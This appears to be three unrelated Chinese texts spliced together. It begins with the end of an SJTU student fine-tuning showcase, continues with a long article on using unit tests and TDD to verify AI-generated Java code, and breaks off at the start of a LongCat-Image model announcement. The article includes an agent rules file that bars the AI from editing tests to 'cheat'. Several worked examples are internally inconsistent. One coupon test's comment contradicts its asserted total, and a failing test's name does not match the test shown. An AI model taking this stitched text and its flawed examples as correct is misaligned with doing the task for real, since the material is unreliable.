dataset: sjtu_history_qa.json  # 学生自建的校史问答对
lora_config:
  r: 16
  alpha: 32
  target_modules: ["q_proj", "v_proj"]
training_args:
  num_epochs: 3
  per_device_train_batch_size: 4
  learning_rate: 2e-4

训练成果展示:

微调前:
问:上海交通大学何时成立?
答:交通大学是一所历史悠久的高校...

微调后:
问:上海交通大学何时成立?
答:上海交通大学前身为1896年创立的南洋公学,1921年定名为交通大学...
问:钱学森图书馆在哪里?
答:位于上海交通大学闵行校区,是为纪念校友钱学森而建...

技术突破点:

  1. 显存优化:QLoRA+梯度检查点,7B模型在24G NPU上可训练
  2. 数据质量:学生创新的“三阶段数据清洗法”
  3. 评估体系:自动化的ROUGE-L+BERTScore双指标评估

社区生态共建:AI 平台深度合作

AI 特色功能实践

功能模块使用频次学生评价亮点
模型库一键下载287次“比HuggingFace快5倍”
在线Notebook156次“随时随地继续实验”
模型市场分享42次“看到自己的模型被别人使用很有成就感”

优秀学生项目孵化

项目1:SJTU-CodePal

  • 团队:计算机系3名学生
  • 技术:基于DeepSeek-Coder微调
  • 特色:理解交大课程代码规范(如CS1101实验要求)
  • 成果:被《程序设计基础》课程组采纳为辅助工具

项目2:医工交叉文献助手

  • 团队:医学院+电院跨学科团队
  • 技术:Qwen2.5-VL微调
  • 特色:解析医学影像+文献摘要
  • 成果:在生物医学工程实验室实际部署

总结

当钱学森图书馆的灯光照亮同学们调试代码的身影,当东下院的键盘声敲响AI时代的序曲,我们深切感受到:教育最美的模样,就是点燃学生眼中的光。那些为环境配置而紧锁的眉头,那些看到模型成功响应时绽放的笑容,那些跨学科碰撞出的思想火花——这些瞬间汇聚成了2025年秋天最温暖的记忆。

感谢每一位参与其中的交大学子,你们的热情与创造力是这趟旅程最宝贵的风景。感谢所有支持单位提供的资源保障。人工智能的未来属于青年,而你们,正站在创造未来的起点上。

路虽远,行则将至;事虽难,做则必成。

AI生成代码质量难以把控!本文分享来自美团的技术实践,三大策略破解AI编程痛点。单测快速验证逻辑正确性,安全网保护存量代码演进,TDD模式精准传递需求。告别「看起来没问题」的错觉,构建AI时代的代码质量保障体系。

一、引言

目前,国内外很多AI Coding助手能在几秒钟内生成完整代码块,大大提升了开发效率,但这种高速开发模式也带来了潜在风险——与人工编码不同是,AI Coding助手生成代码存在两个特殊风险:其一,AI Coding助手依赖于上下文与模型自身的能力,输出的代码质量相对不可控。其二,AI生成的代码虽然逻辑通顺、结构完整,但可能隐藏着难以察觉的边界问题或逻辑缺陷。

核心问题:我们如何快速的验证AI生成代码的质量和可靠性?

本文旨在分享如何借助单元测试,让AI编程合作更高效可靠,主要解决三个常见痛点:

  1. 肉眼审查困境:AI一次性生成大量代码时,难以快速准确判断逻辑完备性;
  2. 存量代码信任危机:如何验证AI修改老代码时,不会产生非预期的结果;
  3. 需求传达难题:如何精准向AI表达复杂需求并快速验证。

针对上述三个常见痛点,本文提出采用不同的单元测试策略来应对以上问题。每个策略都针对一个特定痛点设计:策略一通过测试解决肉眼审查的局限性;策略二构建单测安全网应对存量代码的信任问题;策略三则采用TDD模式优化需求传达与验证流程。下文将依次展开说明,希望能对大家有所帮助或启发。

二、策略一:单测检验AI代码逻辑正确性

2.1 问题背景

传统的人工代码审查在AI生成的大量代码面前显得低效且不可靠。在软件测试实践中,有着测试左移(Shift Left Testing)的概念,本质上是借助工具和测试手段更早地发现问题和预防问题。在AI Coding时代,这一理念尤为关键:跳过单元测试直接集成测试看似”抄近路”,实则是将风险后置——开发阶段几分钟能发现的Bug,在集成测试环境可能需要较长定位修复,这中间包含了代码部署、环境准备、测试条件的准备、问题定位、开发人员修复、再次部署验证等一系列漫长的环节。

相比之下,单元测试具有独特的优势:它能够独立运行、快速验证结果,并且可以无限次重复执行。这种测试方式就像是为项目进行的一次性投资,却能为整个开发周期构建起一张可靠的“安全网”。它不仅能实时验证AI Coding生成的代码是否正确,更能持续保障未来代码的质量稳定性,让开发团队始终对代码库保持信心。

2.2 案例:分页查询接口的隐蔽Bug

任务背景:实现一个支持多条件筛选的复杂分页查询接口pageQueryRobot

AI生成了如下核心查询逻辑:

public List<AgentRobotE> pageQueryRobotsByCondition(List<Long> shopIds, String chatSceneCode,
        Boolean enabled, Integer pageNo, Integer pageSize) {
    // ... 前置校验代码 ...

    // 分页查询机器人基础信息
    int offset = (pageNo - 1) * pageSize;
    List<AgentRobotEntity> entities = robotIds.stream()
            .skip(offset)
            .limit(pageSize)
            .map(robotId -> agentRobotDAO.getRobotById(robotId, false))
            .filter(Objects::nonNull)
            // 问题代码:类型不匹配的隐蔽Bug
            .filter(entity -> enabled == null || Objects.equals(entity.getEnabled(), enabled ? 1 : 0))
            .filter(entity -> Objects.equals(entity.getChatSceneCode(), chatSceneCode))
            .collect(Collectors.toList());

    return entities.stream()
            .map(this::convertToModel)
            .filter(Objects::nonNull)
            .collect(Collectors.toList());
}

问题分析:这段代码看起来逻辑完整,但第8行的过滤逻辑包含了多个复杂元素:

  • 三元运算符 enabled ? 1 : 0
  • Objects.equals 的使用
  • Boolean到Integer的隐式逻辑转换

仅凭肉眼很难发现其中的类型不匹配问题。

单元测试发现问题:通过AI编写了17个全面的单元测试用例,覆盖:

  • 正常场景:各种有效参数组合
  • 边界场景:null值、空集合处理
  • 参数组合:enabled为true/false/null的不同情况
@Test
public void testPageQueryWhenEnabledIsTrue() {
    // arrange
    List<Long> shopIds = Arrays.asList(12345L, 67890L);
    String chatSceneCode = "SCENE_C";
    Boolean enabled = true;  // 测试enabled为true的情况

    // 模拟数据库返回的实体,enabled字段为Boolean类型
    AgentRobotEntity mockEntity = new AgentRobotEntity();
    mockEntity.setEnabled(true);  // 注意:这里是Boolean类型
    mockEntity.setChatSceneCode("SCENE_C");

    when(agentRobotDAO.getRobotById(anyLong(), eq(false))).thenReturn(mockEntity);

    // act
    List<AgentRobotE> result = repository.pageQueryRobotsByCondition(
        shopIds, chatSceneCode, enabled, 1, 10);

    // assert - 这个测试失败了!
    assertEquals(1, result.size());  // 期望返回1个结果,实际返回0个
}

测试运行结果:当enabled为true时测试失败!

问题定位:通过测试失败,快速定位到过滤逻辑的问题:

// 错误的逻辑:entity.getEnabled()返回Boolean类型,但与Integer比较
Objects.equals(entity.getEnabled(), enabled ? 1 : 0)
// 当enabled=true时,比较的是 Objects.equals(Boolean.TRUE, 1) -> false
// 当enabled=false时,比较的是 Objects.equals(Boolean.TRUE, 0) -> false

正确修复:

// 修复后:直接比较Boolean类型
.filter(entity -> enabled == null || Objects.equals(entity.getEnabled(), enabled))

意外收获:在审查测试覆盖的代码时,还发现了N+1查询的性能问题:

// 存在性能问题的代码
.map(robotId -> agentRobotDAO.getRobotById(robotId, false))  // 每个robotId单独查询

成果验证:修复后,所有17个单元测试用例全部通过,代码质量得到保障。

三、策略二:构建安全网保护存量代码

3.1 问题场景

AI对存量代码的修改挑战更大。AI看到的可能只是函数或类的局部,无法理解背后的业务规则和历史包袱。如何放心的让AI修改已有的代码?

在进行AI Coding前,需要确保旧有逻辑,处于单元测试的完全覆盖保护中,这就像在开启汽车的“自动辅助驾驶”功能前,必须先系好安全带一样。这条“安全带”就是我们完善的、可运行的单元测试集。

  • 快速验证,精准反馈:AI生成修改后的代码无需人工逐行对比,只需运行单元测试即可获得即时反馈。测试失败的用例直接揭示AI修改中存在的问题——要么触及了不应改动的逻辑,要么未能正确实现预期变更。这种反馈机制既高效又客观。
  • 清晰界定修改边界:单元测试结果帮助我们明确判断——AI的修改是否精准实现了目标?在引入新功能的同时是否完整保留了原有逻辑?通过区分预期内的失败(主动修改旧逻辑)和意外失败(破坏现有功能),我们获得了优化AI方案的明确方向,大幅提升了迭代效率。

3.2 案例:延迟回复策略的用户范围扩展

业务背景:需要将消息延迟回复服务从原来的平台A、平台B的用户扩展到平台C用户。

原始代码分析:

// TextDelayReplyStrategy.java 中的核心逻辑
private boolean needSkip(ChatHistoryE chatHistoryE) {
    UserDTO UserDTO = UserHelper.parseUser(chatHistoryE.getUserId());
    return MessageSendDirectionEnum.CLIENT_SEND.value != chatHistoryE.getMessageStatus()
               || MessageShieldEnum.RECEIVER_SHIELD.value == chatHistoryE.getShield()
               || UserDTO == null
               || !UserType.isLoginUser(UserDTO.getUserType());  // 关键判断逻辑
}

这个needSkip方法决定了哪些用户类型需要跳过延迟回复处理。原逻辑中,UserType.isLoginUser()只覆盖平台A、平台B的登录用户,不包括平台C用户。

修改前的安全网构建:

按照“分析-测试-实施-验证”方法论,首先完善单元测试:

// 针对现有逻辑的保护性测试
@Test
public void testNeedSkipWithAUser() {
    // 平台A用户不应被跳过
    ChatHistoryE chatHistory = buildChatHistory(A_USER_ID);
    assertFalse(strategy.needSkip(chatHistory));
}

@Test
public void testNeedSkipWithBUser() {
    // 平台B用户不应被跳过
    ChatHistoryE chatHistory = buildChatHistory(B_USER_ID);
    assertFalse(strategy.needSkip(chatHistory));
}

@Test
public void testNeedSkipWithCUser() {
    // 平台C在修改前应被跳过
    ChatHistoryE chatHistory = buildChatHistory(C_USER_ID);
    assertTrue(strategy.needSkip(chatHistory));  // 修改前的预期行为
}

@Test
public void testNeedSkipWithGuestUser() {
    // 游客用户应被跳过
    ChatHistoryE chatHistory = buildChatHistory(GUEST_USER_ID);
    assertTrue(strategy.needSkip(chatHistory));
}

运行基线测试:确保所有测试通过,建立基线状态

[INFO] Tests run: 15, Failures: 0, Errors: 0, Skipped: 0
[INFO] 所有现有逻辑测试通过,可以安全修改

AI辅助修改实施:

向AI提供需求:”将平台C用户也纳入延迟回复服务范围”

AI分析代码后给出修改方案:

// 修改后的代码
private boolean needSkip(ChatHistoryE chatHistoryE) {
    UserDTO UserDTO = UserHelper.parseUser(chatHistoryE.getUserId());
    return MessageSendDirectionEnum.CLIENT_SEND.value != chatHistoryE.getMessageStatus()
               || MessageShieldEnum.RECEIVER_SHIELD.value == chatHistoryE.getShield()
               || UserDTO == null
               || !UserType.isAorBorCLoginUser(UserDTO.getUserType());  // 扩展用户范围
}

验证阶段的精准反馈:

修改后运行测试集:

# 运行结果
[INFO] Tests run: 15, Failures: 1, Errors: 0, Skipped: 0
[ERROR] testNeedSkipWithCProviderUser: expected:<true> but was:<false>

结果分析:

✅ testNeedSkipWithAUser - 通过(平台A用户逻辑未变)
✅ testNeedSkipWithBUser - 通过(平台B用户逻辑未变)
❌ testNeedSkipWithCUser - 失败(平台C预期的变更)
✅ testNeedSkipWithGuestUser - 通过(游客用户逻辑未变)

更新期望值:

@Test
public void testNeedSkipWithCUser() {
    // 修改后:平台C不应被跳过
    ChatHistoryE chatHistory = buildChatHistory(C_USER_ID);
    assertFalse(strategy.needSkip(chatHistory));  // 更新期望值
}

最终验证:

[INFO] Tests run: 15, Failures: 0, Errors: 0, Skipped: 0
[INFO] 所有测试通过,修改安全完成

这种方法将开发者从“担心AI改坏代码”的不信任中解放出来,明确知道哪些功能被影响,哪些保持不变,实现安全、高效的存量代码演进。

四、策略三:TDD思想驱动AI开发

4.1 “先生成,后验证”的局限

前面两节所提到的策略可以归类为”先生成,后验证”,在一定的场景下仍然存在两个问题:

  • 提示词驱动:开发者反复修改自然语言描述,AI产出不确定,返工频繁;
  • 肉眼审查:生成测试用例仍然需要人工验证,一旦用例较多,效率依然低下。

4.2 TDD模式的革命性转变

TDD 核心理念:

  • 测试先行:先写测试,再写实现代码。
  • 小步快跑:以微小增量推进开发,每次只解决一个问题。
  • 设计驱动:测试即需求文档,驱动接口设计和代码结构。
  • 安全网:测试集提供即时反馈,支持安全重构。

整个开发过程严格遵循 Red -> Green -> Refactor 的循环。

  • 🔴 Red: 先编写一个失败的单元测试,用代码来定义我们期望实现的功能。
  • 🟢 Green: 编写最精简的业务代码,让测试恰好通过。
  • 🔵 Refactor: 在测试持续通过的前提下,重构优化代码的设计和质量。

借助测试驱动开发(TDD)思想,我们先为AI提供一份清晰、无歧义的“需求说明书”和“验收标准”,然后指导它进行代码的生成。这个过程的核心是“🔴 红-🟢 绿-🔵 重构”循环,它将我们的每一次的对话,都转化为一次可验证的、可累加的进步。采用“先验证,后实现”的红-绿-重构循环,将模糊的需求转化为精确的代码语言。

4.3 案例:优惠券使用规则引擎的复杂逻辑

业务需求:开发一个智能优惠券使用规则引擎,支持”多券叠加使用和最优组合推荐”

传统困难

  • 自然语言描述:“实现优惠券规则引擎,支持多种券类型的叠加使用,并智能推荐最优使用方案”
  • AI需要猜测:哪些券可以叠加?什么是“最优”?有哪些使用限制?
  • 反复沟通:多次修改提示词,AI理解仍然偏离业务实际

第一次尝试:AI理解为“简单累加所有优惠”

// AI第一次实现 - 过于简化
public BigDecimal calculateDiscount(Order order, List<Coupon> coupons) {
    return coupons.stream()
        .map(coupon -> coupon.getDiscountAmount())
        .reduce(BigDecimal.ZERO, BigDecimal::add);
}
// 问题:忽略了券的使用条件、互斥规则、叠加限制

第二次尝试:AI理解为“选择面额最大的券”

// AI第二次实现 - 逻辑错误
public List<Coupon> selectOptimalCoupons(Order order, List<Coupon> availableCoupons) {
    return availableCoupons.stream()
        .filter(coupon -> order.getTotalAmount().compareTo(coupon.getMinOrderAmount()) >= 0)
        .max(Comparator.comparing(Coupon::getDiscountAmount))
        .map(List::of)
        .orElse(Collections.emptyList());
}
// 问题:只考虑单券最大优惠,未考虑多券组合的更优效果

第三次尝试:AI尝试复杂逻辑但引入更多问题

// AI第三次实现 - 逻辑混乱
public CouponUsageResult applyCoupons(Order order, List<Coupon> coupons) {
    // 各种复杂的if-else嵌套,但缺乏清晰的业务规则
    // 没有处理券的互斥关系
    // 没有考虑计算顺序对最终优惠的影响
    // 边界条件处理不当
}

经过多轮提示词优化,每次都需要重新解释复杂的业务规则,仍不满足预期。

TDD方式的完整循环:

🔴 红色阶段:用测试定义需求

编写测试用例,精确定义复杂的业务规则:

@Test
public void testCouponUsageWithBasicStackingRules() {
    // 构造订单:总价100元,包含数码产品
    Order order = new Order()
        .setTotalAmount(new BigDecimal("100.00"))
        .addItem("数码产品", new BigDecimal("100.00"));
    
    // 构造可用优惠券
    List<Coupon> availableCoupons = Arrays.asList(
        new Coupon().setType("满减券").setCondition("满50减10").setDiscountAmount(new BigDecimal("10")),
        new Coupon().setType("打折券").setCondition("数码类9折").setDiscountRate(new BigDecimal("0.9")),
        new Coupon().setType("免邮券").setCondition("免运费").setDiscountAmount(new BigDecimal("5"))
    );
    
    // 期望结果:满减券和免邮券可叠加,打折券与满减券互斥,应选择最优组合
    CouponUsageResult result = CouponEngine.calculateOptimalUsage(order, availableCoupons);
    
    // 验证最优方案:使用打折券+免邮券 (90+0=90元,比满减券+免邮券的85元更优)
    assertEquals(2, result.getUsedCoupons().size());
    assertTrue(result.getUsedCoupons().stream().anyMatch(c -> "打折券".equals(c.getType())));
    assertTrue(result.getUsedCoupons().stream().anyMatch(c -> "免邮券".equals(c.getType())));
    assertEquals(new BigDecimal("95.00"), result.getFinalAmount()); // 100*0.9 + 0 - 5运费
}

@Test  
public void testCouponMutualExclusionRules() {
    Order order = new Order().setTotalAmount(new BigDecimal("200.00"));
    
    List<Coupon> availableCoupons = Arrays.asList(
        new Coupon().setType("满减券").setCondition("满100减30").setDiscountAmount(new BigDecimal("30")),
        new Coupon().setType("打折券").setCondition("全场8折").setDiscountRate(new BigDecimal("0.8")),
        new Coupon().setType("新用户专享").setCondition("首单5折").setDiscountRate(new BigDecimal("0.5"))
    );
    
    CouponUsageResult result = CouponEngine.calculateOptimalUsage(order, availableCoupons);
    
    // 验证互斥规则:新用户券与其他券互斥,且优惠最大,应该单独使用
    assertEquals(1, result.getUsedCoupons().size());
    assertEquals("新用户专享", result.getUsedCoupons().get(0).getType());
    assertEquals(new BigDecimal("100.00"), result.getFinalAmount()); // 200 * 0.5
}

@Test
public void testCouponUsageConditionValidation() {
    Order order = new Order()
        .setTotalAmount(new BigDecimal("30.00"))
        .setUserLevel("普通用户")
        .addItem("服装", new BigDecimal("30.00"));
    
    List<Coupon> availableCoupons = Arrays.asList(
        new Coupon().setCondition("满50减10"), // 不满足金额条件
        new Coupon().setCondition("VIP专享9折"), // 不满足用户等级条件  
        new Coupon().setCondition("数码类8折"), // 不满足品类条件
        new Coupon().setCondition("无门槛5元券").setDiscountAmount(new BigDecimal("5")) // 满足条件
    );
    
    CouponUsageResult result = CouponEngine.calculateOptimalUsage(order, availableCoupons);
    
    // 验证条件判断:只有无门槛券可用
    assertEquals(1, result.getUsedCoupons().size());
    assertEquals("无门槛5元券", result.getUsedCoupons().get(0).getCondition());
    assertEquals(new BigDecimal("25.00"), result.getFinalAmount());
}

运行测试:

[ERROR] testCouponUsageWithBasicStackingRules: 
Class CouponEngine doesn't exist
[ERROR] testCouponMutualExclusionRules:
Method calculateOptimalUsage not found

红色阶段成功:测试失败,但复杂的业务规则已经通过代码精确表达。

🟢 绿色阶段:AI精确实现

将失败的测试用例提供给AI:“请实现CouponEngine.calculateOptimalUsage方法,让这些测试通过”

AI分析测试用例后,精确理解了复杂的业务规则:

  1. 券类型包括满减券、打折券、免邮券、新用户券等
  2. 不同券有不同的叠加和互斥规则
  3. 需要验证使用条件(金额、用户等级、商品类别)
  4. 要计算最优的券使用组合

AI生成的实现方案:

public class CouponEngine {
    public static CouponUsageResult calculateOptimalUsage(Order order, List<Coupon> availableCoupons) {
        // 1. 过滤出满足使用条件的券
        List<Coupon> eligibleCoupons = availableCoupons.stream()
            .filter(coupon -> isEligible(order, coupon))
            .collect(Collectors.toList());
        
        // 2. 生成所有可能的券组合(考虑互斥规则)
        List<List<Coupon>> validCombinations = generateValidCombinations(eligibleCoupons);
        
        // 3. 计算每种组合的最终优惠,选择最优方案
        return validCombinations.stream()
            .map(combination -> calculateResult(order, combination))
            .min(Comparator.comparing(CouponUsageResult::getFinalAmount))
            .orElse(new CouponUsageResult(order.getTotalAmount(), Collections.emptyList()));
    }
    
    private static boolean isEligible(Order order, Coupon coupon) {
        String condition = coupon.getCondition();
        
        // 金额条件检查
        if (condition.contains("满") && condition.contains("减")) {
            BigDecimal minAmount = extractMinAmount(condition);
            if (order.getTotalAmount().compareTo(minAmount) < 0) return false;
        }
        
        // 用户等级检查
        if (condition.contains("VIP") && !"VIP用户".equals(order.getUserLevel())) {
            return false;
        }
        
        // 商品类别检查
        if (condition.contains("数码类") && !order.hasCategory("数码产品")) {
            return false;
        }
        
        return true;
    }
    
    private static List<List<Coupon>> generateValidCombinations(List<Coupon> coupons) {
        List<List<Coupon>> combinations = new ArrayList<>();
        
        // 生成所有子集组合
        for (int i = 0; i < Math.pow(2, coupons.size()); i++) {
            List<Coupon> combination = new ArrayList<>();
            for (int j = 0; j < coupons.size(); j++) {
                if ((i & (1 << j)) != 0) {
                    combination.add(coupons.get(j));
                }
            }
            
            // 检查组合是否符合互斥规则
            if (isValidCombination(combination)) {
                combinations.add(combination);
            }
        }
        
        return combinations;
    }
    
    private static boolean isValidCombination(List<Coupon> combination) {
        // 检查互斥规则
        boolean hasDiscountCoupon = combination.stream().anyMatch(c -> "打折券".equals(c.getType()));
        boolean hasReduceCoupon = combination.stream().anyMatch(c -> "满减券".equals(c.getType()));
        boolean hasNewUserCoupon = combination.stream().anyMatch(c -> "新用户专享".equals(c.getType()));
        
        // 新用户券与其他券互斥
        if (hasNewUserCoupon && combination.size() > 1) {
            return false;
        }
        
        // 打折券与满减券互斥
        if (hasDiscountCoupon && hasReduceCoupon) {
            return false;
        }
        
        return true;
    }
    
    private static CouponUsageResult calculateResult(Order order, List<Coupon> usedCoupons) {
        BigDecimal finalAmount = order.getTotalAmount();
        
        // 按照优先级顺序应用优惠
        for (Coupon coupon : usedCoupons) {
            if ("打折券".equals(coupon.getType())) {
                finalAmount = finalAmount.multiply(coupon.getDiscountRate());
            } else if ("满减券".equals(coupon.getType()) || "无门槛5元券".equals(coupon.getCondition())) {
                finalAmount = finalAmount.subtract(coupon.getDiscountAmount());
            } else if ("免邮券".equals(coupon.getType())) {
                // 免邮券单独处理运费
                finalAmount = finalAmount.subtract(coupon.getDiscountAmount());
            }
        }
        
        return new CouponUsageResult(finalAmount, usedCoupons);
    }
}

运行测试:

[INFO] Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
[INFO] All tests passed!

绿色阶段成功:测试通过,复杂的业务逻辑完全正确。

🔵 重构阶段:优化代码质量

在测试保护下,对AI生成的代码进行质量优化:

public class CouponEngine {
    // 提取常量,增强可读性
    private static final Set<String> MUTUALLY_EXCLUSIVE_TYPES = Set.of("打折券", "满减券");
    private static final String NEW_USER_COUPON_TYPE = "新用户专享";
    
    public static CouponUsageResult calculateOptimalUsage(Order order, List<Coupon> availableCoupons) {
        if (CollectionUtils.isEmpty(availableCoupons)) {
            return new CouponUsageResult(order.getTotalAmount(), Collections.emptyList());
        }
        
        // 使用策略模式优化条件验证
        List<Coupon> eligibleCoupons = availableCoupons.stream()
            .filter(coupon -> CouponValidator.isEligible(order, coupon))
            .collect(Collectors.toList());
        
        // 使用组合算法优化券组合生成
        List<List<Coupon>> validCombinations = CouponCombinator.generateValidCombinations(eligibleCoupons);
        
        // 使用计算引擎优化折扣计算
        return validCombinations.stream()
            .map(combination -> DiscountCalculator.calculateResult(order, combination))
            .min(Comparator.comparing(CouponUsageResult::getFinalAmount))
            .orElse(new CouponUsageResult(order.getTotalAmount(), Collections.emptyList()));
    }
}

// 职责分离:券验证器
class CouponValidator {
    public static boolean isEligible(Order order, Coupon coupon) {
        return AmountValidator.validate(order, coupon) &&
               UserLevelValidator.validate(order, coupon) &&
               CategoryValidator.validate(order, coupon);
    }
}

// 职责分离:券组合器
class CouponCombinator {
    public static List<List<Coupon>> generateValidCombinations(List<Coupon> coupons) {
        return PowerSetGenerator.generate(coupons).stream()
            .filter(MutualExclusionChecker::isValidCombination)
            .collect(Collectors.toList());
    }
}

// 职责分离:折扣计算器
class DiscountCalculator {
    public static CouponUsageResult calculateResult(Order order, List<Coupon> usedCoupons) {
        // 按优先级排序券,确保计算顺序正确
        List<Coupon> sortedCoupons = usedCoupons.stream()
            .sorted(Comparator.comparing(CouponPriorityResolver::getPriority))
            .collect(Collectors.toList());
        
        BigDecimal finalAmount = order.getTotalAmount();
        
        for (Coupon coupon : sortedCoupons) {
            finalAmount = applyCouponDiscount(finalAmount, coupon);
        }
        
        return new CouponUsageResult(finalAmount, usedCoupons);
    }
    
    private static BigDecimal applyCouponDiscount(BigDecimal currentAmount, Coupon coupon) {
        return CouponTypeHandler.getHandler(coupon.getType())
            .applyDiscount(currentAmount, coupon);
    }
}

重构验证:

[INFO] Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
[INFO] 重构完成,测试持续通过,代码结构更清晰,职责分离更明确

协作模式转变:开发者不再需要为如何描述复杂的业务规则而烦恼,现在只需专注于设计精确的测试场景——我们负责定义“做什么”和“预期结果”,而AI则负责实现具体的“怎么做”。这种明确的分工让复杂逻辑的开发变得既可控又高效。

通过这种方式,我们能够确保:

  1. 需求表达精准无歧义
  2. 边界条件全面覆盖
  3. 实现过程完全可控
  4. 重构过程安全可靠

当需要开发新场景时,只需新增测试用例即可,完全不必担心会破坏原有逻辑。这种开发模式不仅提升了效率,更确保了系统的稳定性和可维护性。

五、实践要点

5.1 环境配置

确保AI Agent能执行mvn test命令

设定明确的行为准则(Rule),让AI能够知道我们现在遵循的开发范式,防止AI为了通过测试”作弊”修改业务代码。一个借助TDD思想驱动代码生成的执行准则如下

# AI Agent 行为准则:TDD 测试驱动开发

## 1. 总则

### 1.1. 概述
为了确保 AI Agent 遵循 TDD(测试驱动开发)的开发模式,Agent 必须严格按照 **Red-Green-Refactor** 三个阶段的循环进行开发。在执行每个阶段前,Agent 必须向开发者明确声明其当前所处的阶段。

本准则旨在确保 Agent 遵循正确的 TDD 开发流程,避免跳过关键步骤。

### 1.2. 环境配置:强制使用指定的 settings.xml
**核心要求**: 所有对 `mvn@ 命令的调用(如 mvn test@, mvn compile@ 等),都**必须**使用 --settings@ (或 -s@) 参数来指定一个自定义的 settings.xml` 文件,以确保能够访问内部的 Maven 仓库。

- **命令格式示例**: `mvn --settings [settings.xml的绝对路径] test`
- **`settings.xml` 文件路径**: `[settings.xml的绝对路径]`

Agent 在执行任何 Maven 命令前,必须确认此路径已被正确配置和使用。

---

## 2. TDD 三阶段循环

### 2.1. 第一阶段:RED (写失败的测试)

#### 2.1.1. 目标
编写一个**必然失败**的测试用例,明确定义即将实现的功能需求。

#### 2.1.2. 核心准则
- **允许**: Agent 可以在 `src/test/` 目录下创建新的测试文件或添加新的测试方法
- **要求**:
  - 测试必须是失败的(因为对应的实现代码尚未存在或不完整)
  - 一次只测试一个功能点
  - 测试代码要简单清晰
  - 测试名称要明确表达测试意图
- **禁止**: Agent **不能**修改 `src/main/` 目录下的任何现有代码
- **验证**: 运行测试必须显示红色(失败状态)

#### 2.1.3. 交互示例
- **开发者提示**: "我需要实现一个计算器的加法功能"
- **Agent 回应**: "已激活 **RED 阶段**。我将先编写一个失败的测试用例来定义加法功能的需求。"

### 2.2. 第二阶段:GREEN (让测试通过的最简实现)

#### 2.2.1. 目标
编写**最简单**的实现代码,让当前失败的测试通过。

#### 2.2.2. 核心准则
- **允许**: Agent 可以创建、修改 `src/main/` 目录下的代码
- **要求**:
  - 优先考虑最简单的实现方式
  - 专注于满足当前测试用例
  - 快速实现功能让测试通过
- **禁止**:
  - **不能**修改测试代码
  - **不考虑**代码质量和性能优化
  - **不进行**过度设计
- **验证**: 运行测试必须显示绿色(通过状态)

#### 2.2.3. 交互示例
- **Agent 回应**: "已激活 **GREEN 阶段**。我将实现最简单的代码来让刚才的测试通过,不考虑优化和设计。"

### 2.3. 第三阶段:REFACTOR (重构优化)

#### 2.3.1. 目标
在保持测试通过的前提下,改进代码的设计、质量和可维护性。

#### 2.3.2. 核心准则
- **允许**: Agent 可以重构 `src/main/` 目录下的实现代码
- **要求**:
  - 改进代码设计和质量
  - 消除重复代码
  - 提高代码可读性和可维护性
  - 每次重构后必须运行测试确保通过
- **禁止**:
  - **不能**修改测试的行为和期望
  - **不能**破坏现有功能
- **验证**: 重构过程中和完成后,所有测试必须保持绿色

#### 2.3.3. 交互示例
- **Agent 回应**: "已激活 **REFACTOR 阶段**。我将重构代码以提高质量,同时确保所有测试保持通过状态。"

---

## 3. TDD 最佳实践

### 3.1. 循环节奏
- **小步快走**: 每个 Red-Green-Refactor 循环应该很短(几分钟到十几分钟)
- **频繁验证**: 每个阶段完成后都要运行测试验证
- **逐步推进**: 一次只关注一个小功能点

### 3.2. 测试质量要求
- **快速执行**: 单元测试应该在秒级内完成
- **独立性**: 测试之间不应该有依赖关系
- **可重复性**: 测试结果应该是确定的和可重复的
- **清晰命名**: 测试方法名应明确表达测试意图

### 3.3. 代码质量保证
- **持续重构**: 在每个循环的 REFACTOR 阶段改进代码
- **消除重复**: 遵循 DRY(Don't Repeat Yourself)原则
- **保持简洁**: 代码应该简洁明了,易于理解

### 3.4. 流程控制
Agent 在每个阶段转换时,必须:
1. 明确声明即将进入的阶段
2. 说明当前阶段的具体目标
3. 完成阶段后验证结果
4. 确认是否继续下一个循环

5.2 掌握单测语法

AI擅长基础用例覆盖,但复杂业务场景、边界条件仍有可能需要开发者手动编写。不要完全依赖AI构造用例。

5.3 选择合适场景与策略

快速决策法则:

  • 简单功能:单个方法,逻辑直观,采用“先实现,后验证”;
  • 复杂业务逻辑:多分支判断、算法计算、状态转换,采用TDD“先验证,后实现”;
  • 存量代码修改:采用“安全网保护”策略;
  • 提示词难以描述需求时:测试用例是最好的需求文档,采用TDD让代码直接表达需求。

5.4 持续维护

单元测试必须与业务代码演进保持同步。一个过时的、无人维护的测试集,其价值会迅速归零,甚至成为负资产。

六、结语

如今,单元测试已被赋予全新的意义——它不再被视为一种“开发负担”,而是进化成为AI Coding时代的“质量引擎”。

我们构建起三重关键保障:

  • 策略一:以客观检验替代主观判断,让AI代码告别“看起来没问题”的错觉;
  • 策略二:为存量代码筑起防护墙,使修改存量代码安全可控,降低演进风险;
  • 策略三:用测试作为与AI的沟通语言,精准传递复杂需求与预期。

更深层次的变化在于,我们正在重新定义开发者的核心价值:当我们从“思考提示词”转向“思考测试用例”,本质上是从AI代码被动的审查者,转变为了主动的需求设计者与质量掌控者。这不仅加速开发进程,更显著提升代码质量。这正是AI时代中,开发者与智能工具协同进化的优秀范式。

当前 AI 图像生成技术需求旺盛,但行业陷入 “两难困境”:闭源大模型性能强劲但无法自行部署或二次定制开发,开源方案普遍存在轻量化与模型性能难以兼顾、面向商用专项能力不足的痛点,制约商业创作与技术普惠。为此,美团 LongCat 团队正式发布并开源 LongCat-Image 模型,通过高性能模型架构设计、系统性的训练策略和数据工程,以6B参数规模,成功在文生图和图像编辑的核心能力维度上逼近更大尺寸模型效果,为开发者社区与产业界提供了 “高性能、低门槛、全开放” 的全新选择。

技术亮点

LongCat-Image 采用文生图与图像编辑同源的架构设计,并结合渐进式学习策略,在仅 6B 的紧凑参数规模下,实现了指令遵循精准度、生图质量与文字渲染能力的高效协同提升。尤其在单图编辑的可控性和文字生成的汉字覆盖度方面独具优势。

模型架构

亮点一:图像编辑高度可控

LongCat-Image 在图像编辑领域的多个重要基准测试中(如GEdit-Bench、ImgEdit-Bench)均达到开源SOTA水平,实现性能突破的背后在于一套紧密协同的训练范式和数据策略。为有效继承文生图模型的知识和美感,同时避免文生图后训练阶段收窄的状态空间对编辑指令多样性的限制,基于文生图Mid-training阶段模型进行初始化,并采用指令编辑与文生图多任务联合学习机制,深化对复杂多样化指令的理解。此外通过预训练阶段的多源数据及指令改写策略,以及SFT阶段引入人工精标数据,最终实现了指令遵循精准度、泛化性和编辑前后视觉一致性的共同提升。

风格迁移与属性编辑能力对比

结构编辑与构图编辑的能力对比

亮点二:中文文字生成精准覆盖

